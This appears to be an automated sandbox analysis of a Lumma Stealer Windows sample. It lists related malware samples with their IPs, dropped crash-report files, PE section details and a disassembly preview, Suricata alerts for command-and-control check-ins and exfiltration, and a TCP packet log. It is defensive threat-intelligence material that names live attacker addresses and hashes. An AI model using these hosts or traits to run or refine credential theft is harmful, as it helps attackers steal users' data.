	https://app.salesforceiq.com/r?target=631f420eed13ca3bcf77c324&t=AFwhZf065tBQQJtb1QfwP5t--0vgBJ0h_ebIEq5KFXSXqUZai5J8FQSwWrq93GQOlAns9KDGvW4ICfvxj8Z5CJD1Q9Wt5o0NW5c0cKHizUAbubpaOgmKjcVLdh1YXO2nIltTeoePggUL&url=https://monaghans.jimdosite.com	Get hash	malicious	HTMLPhisher	Browse	54.73.104.6
	nsharm5.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	Gq48hjKhZf.exe	Get hash	malicious	LodaRAT	Browse	185.166.143.49
	Gq48hjKhZf.exe	Get hash	malicious	Unknown	Browse	185.166.143.48
AMAZON-02US	Canvas of Kings_N6xC-S2.exe	Get hash	malicious	Unknown	Browse	52.33.149.47
	Canvas of Kings_N6xC-S2.exe	Get hash	malicious	Unknown	Browse	44.228.210.164
	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse	44.237.186.112
	x86_64.nn.elf	Get hash	malicious	Okiru	Browse	54.171.230.55
	fnCae9FQhg.exe	Get hash	malicious	LummaC	Browse	185.166.143.48
	SFtDA07UDr.exe	Get hash	malicious	LummaC	Browse	185.166.143.48
	https://app.salesforceiq.com/r?target=631f420eed13ca3bcf77c324&t=AFwhZf065tBQQJtb1QfwP5t--0vgBJ0h_ebIEq5KFXSXqUZai5J8FQSwWrq93GQOlAns9KDGvW4ICfvxj8Z5CJD1Q9Wt5o0NW5c0cKHizUAbubpaOgmKjcVLdh1YXO2nIltTeoePggUL&url=https://monaghans.jimdosite.com	Get hash	malicious	HTMLPhisher	Browse	54.73.104.6
	nsharm5.elf	Get hash	malicious	Unknown	Browse	54.171.230.55
	Gq48hjKhZf.exe	Get hash	malicious	LodaRAT	Browse	185.166.143.49
	Gq48hjKhZf.exe	Get hash	malicious	Unknown	Browse	185.166.143.48
CLOUDFLARENETUS	Canvas of Kings_N6xC-S2.exe	Get hash	malicious	Unknown	Browse	104.20.86.8
	Canvas of Kings_N6xC-S2.exe	Get hash	malicious	Unknown	Browse	104.20.86.8
	Audio02837498.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	SW_48912.scr.exe	Get hash	malicious	FormBook	Browse	104.21.80.1
	cMTqzvmx9u.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, RedLine	Browse	104.21.67.146
	Technonomic.exe	Get hash	malicious	GuLoader, Snake Keylogger, VIP Keylogger	Browse	172.67.177.134
	fnCae9FQhg.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	bG89JAQXz2.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	SFtDA07UDr.exe	Get hash	malicious	LummaC	Browse	104.21.36.201
	https://app.salesforceiq.com/r?target=631f420eed13ca3bcf77c324&t=AFwhZf065tBQQJtb1QfwP5t--0vgBJ0h_ebIEq5KFXSXqUZai5J8FQSwWrq93GQOlAns9KDGvW4ICfvxj8Z5CJD1Q9Wt5o0NW5c0cKHizUAbubpaOgmKjcVLdh1YXO2nIltTeoePggUL&url=https://monaghans.jimdosite.com	Get hash	malicious	HTMLPhisher	Browse	162.159.128.70

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	Canvas of Kings_N6xC-S2.exe	Get hash	malicious	Unknown	Browse	104.21.36.201 52.216.216.113 185.166.143.50
	RTD20241038II Listed Parts And Quotation Request ,pdf.scr.exe	Get hash	malicious	DBatLoader, FormBook	Browse	104.21.36.201 52.216.216.113 185.166.143.50
	fnCae9FQhg.exe	Get hash	malicious	LummaC	Browse	104.21.36.201 52.216.216.113 185.166.143.50
	bG89JAQXz2.exe	Get hash	malicious	LummaC	Browse	104.21.36.201 52.216.216.113 185.166.143.50
	SFtDA07UDr.exe	Get hash	malicious	LummaC	Browse	104.21.36.201 52.216.216.113 185.166.143.50
	3zg6i6Zu1u.exe	Get hash	malicious	LummaC	Browse	104.21.36.201 52.216.216.113 185.166.143.50
	oiF7u78bY2.exe	Get hash	malicious	LummaC	Browse	104.21.36.201 52.216.216.113 185.166.143.50
	L5Kgf2Tvkc.exe	Get hash	malicious	LummaC	Browse	104.21.36.201 52.216.216.113 185.166.143.50
	LVDdWBGnVE.exe	Get hash	malicious	LummaC Stealer	Browse	104.21.36.201 52.216.216.113 185.166.143.50
	O5Vg1CJsxN.exe	Get hash	malicious	LummaC, Stealc	Browse	104.21.36.201 52.216.216.113 185.166.143.50

Dropped Files

⊘No context

Created / dropped Files

C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_j6ks0Fxu6t.exe_717d70774c89dc9848fcf0a420f193d2ba4dc2_60e44c6b_aff1d3c2-df35-428a-89eb-a862bab9065e\Report.wer

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	65536
Entropy (8bit):	1.0428629006416168
Encrypted:	false
SSDEEP:	96:1aFaLUcynm+sQhYoI7JfPQXIDcQvc6QcEVcw3cE/X+HbHg/8BRTf3Oy1oVazW0Ej:0S+V0BU/wjudx2fzuiFBZ24IO8f
MD5:	BB4547145AFFBDFCAF38836A2AB47A12
SHA1:	4F7D6E71FEEF7B865236BE7527466DDB3EDB925C
SHA-256:	E99F189519760C223A1753675FAF8C50985A78090B638F89140B1A1E6D149AB4
SHA-512:	7AB09230091D1748C73DCB0EE5BDDA49C38BF3F0105C52F8D2C33278FCDEBC2F297A0220561C2AEB1DB9A6FF48C645023204D90F924F41D93EC71C3A306D68E1
Malicious:	true
Reputation:	low
Preview:	..V.e.r.s.i.o.n.=.1.....E.v.e.n.t.T.y.p.e.=.A.P.P.C.R.A.S.H.....E.v.e.n.t.T.i.m.e.=.1.3.3.7.9.5.1.3.9.7.1.7.1.9.2.9.4.9.....R.e.p.o.r.t.T.y.p.e.=.2.....C.o.n.s.e.n.t.=.1.....U.p.l.o.a.d.T.i.m.e.=.1.3.3.7.9.5.1.3.9.7.2.2.8.1.7.9.6.9.....R.e.p.o.r.t.S.t.a.t.u.s.=.5.2.4.3.8.4.....R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.a.f.f.1.d.3.c.2.-.d.f.3.5.-.4.2.8.a.-.8.9.e.b.-.a.8.6.2.b.a.b.9.0.6.5.e.....I.n.t.e.g.r.a.t.o.r.R.e.p.o.r.t.I.d.e.n.t.i.f.i.e.r.=.8.8.0.f.0.2.c.2.-.d.f.2.9.-.4.f.8.4.-.9.3.a.2.-.f.a.b.3.e.f.a.6.a.b.f.6.....W.o.w.6.4.H.o.s.t.=.3.4.4.0.4.....W.o.w.6.4.G.u.e.s.t.=.3.3.2.....N.s.A.p.p.N.a.m.e.=.j.6.k.s.0.F.x.u.6.t...e.x.e.....A.p.p.S.e.s.s.i.o.n.G.u.i.d.=.0.0.0.0.1.9.c.4.-.0.0.0.1.-.0.0.1.4.-.5.e.8.e.-.5.f.6.c.f.8.5.5.d.b.0.1.....T.a.r.g.e.t.A.p.p.I.d.=.W.:.0.0.0.6.6.3.a.8.d.5.0.3.a.c.c.a.0.7.4.b.9.1.0.7.9.c.8.3.1.d.9.4.e.1.0.5.0.0.0.0.f.f.f.f.!.0.0.0.0.d.1.a.f.a.b.1.d.4.5.5.a.c.6.8.7.f.f.6.d.3.e.f.a.7.e.3.0.a.5.6.8.c.7.f.2.8.c.6.4.!.j.6.k.s.0.F.x.u.6.t...e.x.e.....T.a.r.g.e.t.A.p.p.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER60C2.tmp.dmp

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	Mini DuMP crash report, 15 streams, Tue Dec 24 11:39:32 2024, 0x1205a4 type
Category:	dropped
Size (bytes):	281214
Entropy (8bit):	1.5317906796210645
Encrypted:	false
SSDEEP:	768:QE0BB+nGg9OX0tB3uDpC7hMtC03RuqMs4Gql8LA:QEtGjE730I0huqMs4pCLA
MD5:	6FBECBCE425811BE89F82DDEED31F5A5
SHA1:	970A23CAB95F46B50FE645C447532635759FDC9C
SHA-256:	0F6E99DF04F40979691C276C78E46FC406BC2B223C7FB9E9E30BD57712ADDB99
SHA-512:	37C36D82702395EA7BE614A379974EBDC832974724812C02DF61E43BEC52020249DC7921DF298A1AC759834111448795FA460809623302B88FA6CFC2B87C9D88
Malicious:	false
Reputation:	low
Preview:	MDMP..a..... .......t.jg....................................,....'......................`.......8...........T............K...............(...........*..............................................................................eJ......H+......GenuineIntel............T...........S.jg.............................0..2...........,...E.a.s.t.e.r.n. .S.t.a.n.d.a.r.d. .T.i.m.e...........................................E.a.s.t.e.r.n. .S.u.m.m.e.r. .T.i.m.e...............................................1.9.0.4.1...1...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.......................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Windows\WER\Temp\WER623A.tmp.WERInternalMetadata.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	8384
Entropy (8bit):	3.70365031001556
Encrypted:	false
SSDEEP:	192:R6l7wVeJ4g6xZg6Y9eSU9K+gmfnfprvP89bIgsf0O4m:R6lXJn6xu6YUSU9K+gmfnqIzfR
MD5:	101B65F0EDB3EDCEB725FA41467BCCC2
SHA1:	A95E5AC82D552FAA3FFE70E5E5AEAB5D06B0CF02
SHA-256:	AAF42E232DDB0C6C604993EC109D77B9FEACB2E536B6CDB55EBE2F12DC7AF235
SHA-512:	5A53876D21757D729889D7ECA917DFB8392E76DE0F11496267398C4A7564F7CD6D8FFE403DF03BF793926A04D8F4EF3CFD91217456017F69D8418AE3F3D3E52C
Malicious:	false
Reputation:	low
Preview:	..<.?.x.m.l. .v.e.r.s.i.o.n.=.".1...0.". .e.n.c.o.d.i.n.g.=.".U.T.F.-.1.6.".?.>.....<.W.E.R.R.e.p.o.r.t.M.e.t.a.d.a.t.a.>.......<.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.........<.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.1.0...0.<./.W.i.n.d.o.w.s.N.T.V.e.r.s.i.o.n.>.........<.B.u.i.l.d.>.1.9.0.4.5.<./.B.u.i.l.d.>.........<.P.r.o.d.u.c.t.>.(.0.x.3.0.).:. .W.i.n.d.o.w.s. .1.0. .P.r.o.<./.P.r.o.d.u.c.t.>.........<.E.d.i.t.i.o.n.>.P.r.o.f.e.s.s.i.o.n.a.l.<./.E.d.i.t.i.o.n.>.........<.B.u.i.l.d.S.t.r.i.n.g.>.1.9.0.4.1...2.0.0.6...a.m.d.6.4.f.r.e...v.b._.r.e.l.e.a.s.e...1.9.1.2.0.6.-.1.4.0.6.<./.B.u.i.l.d.S.t.r.i.n.g.>.........<.R.e.v.i.s.i.o.n.>.2.0.0.6.<./.R.e.v.i.s.i.o.n.>.........<.F.l.a.v.o.r.>.M.u.l.t.i.p.r.o.c.e.s.s.o.r. .F.r.e.e.<./.F.l.a.v.o.r.>.........<.A.r.c.h.i.t.e.c.t.u.r.e.>.X.6.4.<./.A.r.c.h.i.t.e.c.t.u.r.e.>.........<.L.C.I.D.>.2.0.5.7.<./.L.C.I.D.>.......<./.O.S.V.e.r.s.i.o.n.I.n.f.o.r.m.a.t.i.o.n.>.......<.P.r.o.c.e.s.s.I.n.f.o.r.m.a.t.i.o.n.>.........<.P.i.d.>.6.5.9.6.<./.P.i.

C:\ProgramData\Microsoft\Windows\WER\Temp\WER625A.tmp.xml

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4624
Entropy (8bit):	4.500152290997197
Encrypted:	false
SSDEEP:	48:cvIwWl8zsxJg77aI9SYjWXWpW8VYGYm8M4JDLqFY8+q8x9cuQxrCWd:uIjfDI77n7VSJD0ol8rCWd
MD5:	6273479949D410F517F4A0F0A7DFADC2
SHA1:	2029E9AD736BA99DEF903BF09678918EF6E95407
SHA-256:	DEF0CF9D3DE2BE6062C70E8BED9B43EA29FE52890F0C891553CECF6F3B392B05
SHA-512:	678B9F05077672EF2C7394C0B80182033FA4633380F409DA648A5F5797BA25C684C73C4805859E0A05CDBCE19CC6BEAB885670181CDB1994B274C34EB672954D
Malicious:	false
Reputation:	low
Preview:	<?xml version="1.0" encoding="UTF-8" standalone="yes"?>..<req ver="2">.. <tlm>.. <src>.. <desc>.. <mach>.. <os>.. <arg nm="vermaj" val="10" />.. <arg nm="vermin" val="0" />.. <arg nm="verbld" val="19045" />.. <arg nm="vercsdbld" val="2006" />.. <arg nm="verqfe" val="2006" />.. <arg nm="csdbld" val="2006" />.. <arg nm="versp" val="0" />.. <arg nm="arch" val="9" />.. <arg nm="lcid" val="2057" />.. <arg nm="geoid" val="223" />.. <arg nm="sku" val="48" />.. <arg nm="domain" val="0" />.. <arg nm="prodsuite" val="256" />.. <arg nm="ntprodtype" val="1" />.. <arg nm="platid" val="2" />.. <arg nm="tmsi" val="645282" />.. <arg nm="osinsty" val="1" />.. <arg nm="iever" val="11.789.19041.0-11.0.1000" />.. <arg nm="portos" val="0" />.. <arg nm="ram" val="409

C:\Windows\appcompat\Programs\Amcache.hve

Download File

Process:	C:\Windows\SysWOW64\WerFault.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	1835008
Entropy (8bit):	4.465435952271026
Encrypted:	false
SSDEEP:	6144:XIXfpi67eLPU9skLmb0b4+WSPKaJG8nAgejZMMhA2gX4WABl0uNCdwBCswSbBn:YXD94+WlLZMM6YFHg+Bn
MD5:	3D43405C15072966C4BD313066E61AE3
SHA1:	A1745A7AE97103F208E05248602EBE173FFBA02C
SHA-256:	034A2AD1642B64C1C45B558A07ED0B0B4FE5E14C99C34D7F05617E891205A3BB
SHA-512:	4FE241C3AC015864EC5DB56F917B57B022A0E362D28432675EEDEC8B212BE28E38DD0CAFEA4A7E983B28315B82E3F87C0A7E3C7F2D2ED05D3E1D5F2D8D11F39F
Malicious:	false
Reputation:	low
Preview:	regf6...6....\.Z.................... ...........\.A.p.p.C.o.m.p.a.t.\.P.r.o.g.r.a.m.s.\.A.m.c.a.c.h.e...h.v.e....c...b...#.......c...b...#...........c...b...#......rmtm..t..U................................................................................................................................................................................................................................................................................................................................................cK........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	6.502412508097844
TrID:	Win32 Executable (generic) a (10002005/4) 99.96% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	j6ks0Fxu6t.exe
File size:	2'897'408 bytes
MD5:	60f8310a2931ca33419849ea4d202acb
SHA1:	d1afab1d455ac687ff6d3efa7e30a568c7f28c64
SHA256:	dcc08093474c9adcea3e30aace3c71b8f9190260c03ae08c668fcb57ac41edcb
SHA512:	7956022b2663c55533fea36cc3305a93e2ca7609fbab48deb8f043a7e30c5575ed6d1ccb6638d39ba20e452c553fb4310cf14644677eed481748e9b18894ebf3
SSDEEP:	49152:hvxs1Hb0goTXfh2AYyvnRNsXFkqcpWN19Zhh:hvxs1Hb3oTXflv/gSqaA19Zh
TLSH:	67D53B52A90A71CFD48F13B48527CE82AA6D47B5C71549C3AC68E47F7EA3CC135B9C28
File Content Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....Yig............................../...........@..........................0/......4-...@.................................Y@..m..

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x6f0000
Entrypoint Section:	.taggant
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, TERMINAL_SERVER_AWARE
Time Stamp:	0x67695986 [Mon Dec 23 12:37:26 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	6
OS Version Minor:	0
File Version Major:	6
File Version Minor:	0
Subsystem Version Major:	6
Subsystem Version Minor:	0
Import Hash:	2eabe9054cad5152567f0699947a2c5b

Entrypoint Preview

Instruction
jmp 00007FA3ED0EF24Ah
unpcklps xmm5, dqword ptr [eax+eax]
add byte ptr [eax], al
add byte ptr [eax], al
jmp 00007FA3ED0F1245h
add byte ptr [esi], al
or al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], dl
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [edx+ecx], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [edx], ecx
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
and al, byte ptr [eax]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
or ecx, dword ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
pushad
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [ebx], al
or eax, 00000000h
or dword ptr [eax+00000000h], eax
add byte ptr [eax], al
adc byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add cl, byte ptr [edx]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], cl
add byte ptr [eax], 00000000h
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x54059	0x6d	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x541f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x52000	0x26400	f8fd36fcaeda321b0c927eec8044e62d	False	0.9995212928921569	data	7.979440253511902	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x53000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x54000	0x1000	0x200	39a711a7d804ccbc2a14eea65cf3c27e	False	0.154296875	data	1.0789976601211375	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jdbjkrtv	0x55000	0x29a000	0x299a00	a4921f952fb2c66f72cfb992a2c308f0	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
jgmfexky	0x2ef000	0x1000	0x400	38ebf19c257e8fec4cd8a85d9b406a49	False	0.8017578125	data	6.303204942525179	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x2f0000	0x3000	0x2200	8d8ddb278a3965f7f1abe1ce8865c7cf	False	0.10684742647058823	DOS executable (COM)	1.2410480299837272	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-12-24T12:39:03.177717+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49730	104.21.36.201	443	TCP
2024-12-24T12:39:03.933157+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49730	104.21.36.201	443	TCP
2024-12-24T12:39:03.933157+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49730	104.21.36.201	443	TCP
2024-12-24T12:39:05.165311+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49731	104.21.36.201	443	TCP
2024-12-24T12:39:05.959993+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49731	104.21.36.201	443	TCP
2024-12-24T12:39:05.959993+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49731	104.21.36.201	443	TCP
2024-12-24T12:39:07.611187+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49732	104.21.36.201	443	TCP
2024-12-24T12:39:10.023837+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49733	104.21.36.201	443	TCP
2024-12-24T12:39:10.985943+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49733	104.21.36.201	443	TCP
2024-12-24T12:39:12.404115+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49734	104.21.36.201	443	TCP
2024-12-24T12:39:15.281384+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49735	104.21.36.201	443	TCP
2024-12-24T12:39:17.743600+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49736	104.21.36.201	443	TCP
2024-12-24T12:39:23.521472+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49741	104.21.36.201	443	TCP
2024-12-24T12:39:24.303410+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49741	104.21.36.201	443	TCP
2024-12-24T12:39:25.834218+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49743	185.166.143.50	443	TCP
2024-12-24T12:39:28.073702+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.4	49745	52.216.216.113	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 24, 2024 12:39:01.952963114 CET	49730	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:01.953016996 CET	443	49730	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:01.953092098 CET	49730	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:01.956022024 CET	49730	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:01.956047058 CET	443	49730	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:03.177629948 CET	443	49730	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:03.177716970 CET	49730	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:03.183286905 CET	49730	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:03.183299065 CET	443	49730	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:03.183610916 CET	443	49730	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:03.227226973 CET	49730	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:03.266524076 CET	49730	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:03.266797066 CET	49730	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:03.266828060 CET	443	49730	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:03.933134079 CET	443	49730	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:03.933275938 CET	443	49730	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:03.933334112 CET	49730	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:03.935210943 CET	49730	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:03.935239077 CET	443	49730	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:03.952701092 CET	49731	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:03.952750921 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:03.952945948 CET	49731	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:03.953274965 CET	49731	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:03.953291893 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:05.165222883 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:05.165311098 CET	49731	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:05.228244066 CET	49731	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:05.228296041 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:05.228518009 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:05.230070114 CET	49731	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:05.230112076 CET	49731	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:05.230146885 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:05.959944963 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:05.959990978 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:05.960025072 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:05.960051060 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:05.960046053 CET	49731	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:05.960104942 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:05.960160971 CET	49731	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:05.962398052 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:05.962424994 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:05.962461948 CET	49731	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:05.962480068 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:05.962557077 CET	49731	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:05.967489958 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:05.975975990 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:05.976036072 CET	49731	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:05.976053953 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:06.024096966 CET	49731	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:06.079427958 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:06.133455992 CET	49731	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:06.133511066 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:06.151623964 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:06.151676893 CET	49731	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:06.151695013 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:06.155002117 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:06.155056953 CET	49731	443	192.168.2.4	104.21.36.201
Dec 24, 2024 12:39:06.155070066 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:06.155098915 CET	443	49731	104.21.36.201	192.168.2.4
Dec 24, 2024 12:39:06.155145884 CET	49731	443	192.168.2.4	104.21.36.201
